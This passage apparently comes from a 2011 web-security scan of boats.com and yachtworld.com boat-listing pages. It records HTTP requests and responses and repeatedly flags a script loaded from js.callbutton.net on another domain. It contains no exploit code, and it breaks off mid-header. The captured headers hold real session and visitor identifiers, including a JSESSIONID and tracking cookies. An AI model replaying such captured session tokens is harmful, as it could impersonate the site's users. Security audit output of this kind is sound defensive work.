s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:44:27 GMT Server: Apache Set-Cookie: JSESSIONID=92FC41968A40C02FF28D98A966702B9D.boapp05; Path=/boat-loans Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title>Become a Boats.com Boat Loan Partner</title> <meta name="description" content=" ...[SNIP]... <link rel="stylesheet" type="text/css" href="http://imagesgz.boats.com/includes/web-resources/boat-loans/sprint-28_2010/css/boats.css"> <script type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/referrer_tracker.js"></script> ...[SNIP]... <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="http://imagesgz.boats.com/includes/web-resources/sprint-28_2010/js/yw/s_code.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://js.callbutton.net/callbutton.js
Request
GET /boats/2004/Regulator-32-Fs-1930392/Toms-River/NJ/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:06 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 16:08:22 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:59:06 GMT Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://js.callbutton.net/callbutton.js
Request
GET /boats/2005/Regulator-32-Forward-Seating-2292192/Pt.-Pleasant/NJ/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:55 GMT Server: Apache Cache-Control: private If-Modified-Since: Sun, 05 Dec 2010 20:45:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:58:55 GMT Set-Cookie: VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The response dynamically includes the following script from another domain:
http://js.callbutton.net/callbutton.js
Request
GET /boats/2005/Regulator-32-Fs-1787065/Hilton-Head/SC/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:56 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 01:47:39 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:58:56 GMT Set-Cookie: 